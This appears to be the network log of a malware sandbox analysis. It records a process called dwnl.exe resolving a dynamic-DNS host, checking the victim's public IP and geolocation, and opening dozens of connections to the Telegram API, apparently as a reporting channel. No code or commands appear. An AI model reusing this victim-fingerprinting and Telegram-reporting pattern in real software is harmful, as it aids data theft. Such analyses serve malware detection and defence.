Sep 13, 2021 06:30:42.893357992 CEST	8.8.8.8	192.168.2.5	0x5c7b	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:42.893357992 CEST	8.8.8.8	192.168.2.5	0x5c7b	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.893357992 CEST	8.8.8.8	192.168.2.5	0x5c7b	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.893357992 CEST	8.8.8.8	192.168.2.5	0x5c7b	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.893357992 CEST	8.8.8.8	192.168.2.5	0x5c7b	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.924103022 CEST	8.8.8.8	192.168.2.5	0x842e	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:42.924103022 CEST	8.8.8.8	192.168.2.5	0x842e	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.924103022 CEST	8.8.8.8	192.168.2.5	0x842e	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.924103022 CEST	8.8.8.8	192.168.2.5	0x842e	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:42.924103022 CEST	8.8.8.8	192.168.2.5	0x842e	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:43.997564077 CEST	8.8.8.8	192.168.2.5	0x4d9b	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:43.997564077 CEST	8.8.8.8	192.168.2.5	0x4d9b	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:43.997564077 CEST	8.8.8.8	192.168.2.5	0x4d9b	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:43.997564077 CEST	8.8.8.8	192.168.2.5	0x4d9b	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:43.997564077 CEST	8.8.8.8	192.168.2.5	0x4d9b	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.027678967 CEST	8.8.8.8	192.168.2.5	0x6922	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:44.027678967 CEST	8.8.8.8	192.168.2.5	0x6922	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.027678967 CEST	8.8.8.8	192.168.2.5	0x6922	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.027678967 CEST	8.8.8.8	192.168.2.5	0x6922	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.027678967 CEST	8.8.8.8	192.168.2.5	0x6922	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.103745937 CEST	8.8.8.8	192.168.2.5	0x73f4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:44.103745937 CEST	8.8.8.8	192.168.2.5	0x73f4	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.103745937 CEST	8.8.8.8	192.168.2.5	0x73f4	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.103745937 CEST	8.8.8.8	192.168.2.5	0x73f4	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.103745937 CEST	8.8.8.8	192.168.2.5	0x73f4	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.156138897 CEST	8.8.8.8	192.168.2.5	0x70f4	No error (0)	www.youtube.com	youtube-ui.l.google.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:30:44.156138897 CEST	8.8.8.8	192.168.2.5	0x70f4	No error (0)	youtube-ui.l.google.com		172.217.20.14	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.156138897 CEST	8.8.8.8	192.168.2.5	0x70f4	No error (0)	youtube-ui.l.google.com		142.250.180.238	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.156138897 CEST	8.8.8.8	192.168.2.5	0x70f4	No error (0)	youtube-ui.l.google.com		142.250.201.206	A (IP address)	IN (0x0001)
Sep 13, 2021 06:30:44.156138897 CEST	8.8.8.8	192.168.2.5	0x70f4	No error (0)	youtube-ui.l.google.com		172.217.19.110	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:29.275338888 CEST	8.8.8.8	192.168.2.5	0x3604	No error (0)	tobi12345.hopto.org		91.193.75.202	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.290050030 CEST	8.8.8.8	192.168.2.5	0xc4a4	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.org	checkip.dyndns.com		CNAME (Canonical name)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.com		158.101.44.242	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.com		132.226.8.169	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.com		132.226.247.73	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.com		193.122.130.0	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.com		216.146.43.70	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.com		216.146.43.71	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:43.339201927 CEST	8.8.8.8	192.168.2.5	0x5e62	No error (0)	checkip.dyndns.com		193.122.6.168	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:46.490573883 CEST	8.8.8.8	192.168.2.5	0xdabe	No error (0)	freegeoip.app		172.67.188.154	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:46.490573883 CEST	8.8.8.8	192.168.2.5	0xdabe	No error (0)	freegeoip.app		104.21.19.200	A (IP address)	IN (0x0001)
Sep 13, 2021 06:31:59.482949018 CEST	8.8.8.8	192.168.2.5	0xe8f7	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

freegeoip.app

api.telegram.org

checkip.dyndns.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49783	172.67.188.154	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49784	172.67.188.154	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.5	49795	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.5	49796	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.5	49797	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.5	49798	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.5	49799	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.5	49800	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
16	192.168.2.5	49801	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
17	192.168.2.5	49802	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
18	192.168.2.5	49803	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.5	49804	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.5	49785	172.67.188.154	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.5	49805	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.5	49806	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.5	49807	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.5	49808	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.5	49809	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
25	192.168.2.5	49810	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
26	192.168.2.5	49811	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
27	192.168.2.5	49812	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
28	192.168.2.5	49813	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
29	192.168.2.5	49814	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.5	49788	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
30	192.168.2.5	49815	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
31	192.168.2.5	49816	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
32	192.168.2.5	49817	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
33	192.168.2.5	49818	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
34	192.168.2.5	49819	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
35	192.168.2.5	49820	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
36	192.168.2.5	49821	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
37	192.168.2.5	49822	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
38	192.168.2.5	49823	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
39	192.168.2.5	49824	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.5	49789	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
40	192.168.2.5	49825	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
41	192.168.2.5	49826	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
42	192.168.2.5	49827	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
43	192.168.2.5	49828	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
44	192.168.2.5	49829	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
45	192.168.2.5	49830	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
46	192.168.2.5	49831	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
47	192.168.2.5	49832	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
48	192.168.2.5	49833	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
49	192.168.2.5	49834	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.5	49790	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.2.5	49835	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.2.5	49836	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
52	192.168.2.5	49837	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
53	192.168.2.5	49778	158.101.44.242	80	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
Sep 13, 2021 06:31:43.552783966 CEST	7940	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Sep 13, 2021 06:31:43.705501080 CEST	7941	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.51</body></html>
Sep 13, 2021 06:31:43.879004002 CEST	7941	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 13, 2021 06:31:44.031204939 CEST	7942	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:43 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.51</body></html>
Sep 13, 2021 06:31:47.297138929 CEST	7967	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 13, 2021 06:31:47.448683023 CEST	7968	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.51</body></html>
Sep 13, 2021 06:31:47.686410904 CEST	7970	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 13, 2021 06:31:47.838931084 CEST	7971	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:47 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.51</body></html>
Sep 13, 2021 06:31:48.111063004 CEST	7973	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Sep 13, 2021 06:31:48.263958931 CEST	7974	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:48 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 84.17.52.51</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.5	49791	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.5	49792	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.5	49793	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.5	49794	149.154.167.220	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.5	49783	172.67.188.154	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	Direction	Data
2021-09-13 04:31:47 UTC	OUT	GET /xml/84.17.52.51 HTTP/1.1 Host: freegeoip.app Connection: Keep-Alive
2021-09-13 04:31:47 UTC	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:47 GMT Content-Type: application/xml Content-Length: 345 Connection: close vary: Origin x-database-date: Wed, 25 Aug 2021 10:15:20 GMT x-ratelimit-limit: 15000 x-ratelimit-remaining: 14999 x-ratelimit-reset: 3600 CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=9YANRVsaCpMRfKgDzUP4g0fV%2FQNuH0%2BJwqyVuu%2FPLqW6tGSCm7TjgUHB4Kk6oqIfezcH%2F%2B%2B8xISFNIQS9N63kfRfBJgsWpJRjvAnQEckOwLtgfrdDKwoUIWHIww3v2i%2B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 68dea5df5dba4e68-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
2021-09-13 04:31:47 UTC	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 34 2e 31 37 2e 35 32 2e 35 31 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 43 48 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 53 77 69 74 7a 65 72 6c 61 6e 64 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 5a 48 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 5a 75 72 69 63 68 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 5a 75 72 69 63 68 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 38 31 35 32 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 45 75 72 6f 70 65 2f 5a 75 72 69 63 68 3c 2f 54 69 6d 65 5a 6f 6e 65 3e 0a 09 3c 4c 61 74 69 74 Data Ascii: <Response><IP>84.17.52.51</IP><CountryCode>CH</CountryCode><CountryName>Switzerland</CountryName><RegionCode>ZH</RegionCode><RegionName>Zurich</RegionName><City>Zurich</City><ZipCode>8152</ZipCode><TimeZone>Europe/Zurich</TimeZone><Latit

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.5	49784	172.67.188.154	443	C:\Users\user\AppData\Local\Temp\dwnl.exe

Timestamp	kBytes transferred	Direction	Data
2021-09-13 04:31:47 UTC	1	OUT	GET /xml/84.17.52.51 HTTP/1.1 Host: freegeoip.app
2021-09-13 04:31:47 UTC	1	IN	HTTP/1.1 200 OK Date: Mon, 13 Sep 2021 04:31:47 GMT Content-Type: application/xml Content-Length: 345 Connection: close vary: Origin x-database-date: Wed, 25 Aug 2021 10:15:20 GMT x-ratelimit-limit: 15000 x-ratelimit-remaining: 14998 x-ratelimit-reset: 3600 CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=GwNRJYUdsxsVO2dgRQlBNzYvU%2BFpf%2BWocm0CYJ9OwnAJATLTFJln5I2l%2B5%2BHhmu7fuDGi%2BnqU9Z5jkEy6vyXzb1T3yA7RtzOTZ%2BAZ3U%2BBc0xjN8DpzBI9ZL8qUJ1feLx"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 68dea5e1fda24e80-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400
